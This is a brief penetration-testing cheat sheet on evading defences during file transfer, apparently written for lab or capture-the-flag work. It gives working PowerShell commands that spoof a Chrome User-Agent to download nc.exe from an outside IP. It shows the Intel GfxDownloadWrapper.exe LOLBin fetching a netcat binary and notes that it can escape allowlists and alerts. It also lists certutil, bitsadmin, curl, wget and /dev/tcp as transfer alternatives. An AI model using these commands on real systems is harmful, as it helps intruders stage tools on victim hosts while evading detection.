Bypass

Some bypass techniques

Change the User-Agent When Using Invoke-WebRequest

List user agents
powershell
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Download a file with a Chrome User Agent
powershell
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

Using LOLBins

Example: GfxDownloadWrapper.exe (Intel Graphics Driver)
powershell
GfxDownloadWrapper.exe "http://10.10.10.132/file.exe" "C:\Temp\nc.exe"
Advantage: this binary may be allowed by application allowlists and does not generate alerts in some environments.

GTFOBins

On Linux systems, legitimate binaries included by default can be used for file transfers: curl, wget (download), scp, rsync (copy), bash (read/write over /dev/tcp).

Alternatives

  • Windows: certutil (download from a URL), bitsadmin (BITS service), PowerShell (Invoke-WebRequest, Invoke-RestMethod).
  • Linux: python -m http.server (web server), /dev/tcp (manual TCP connections).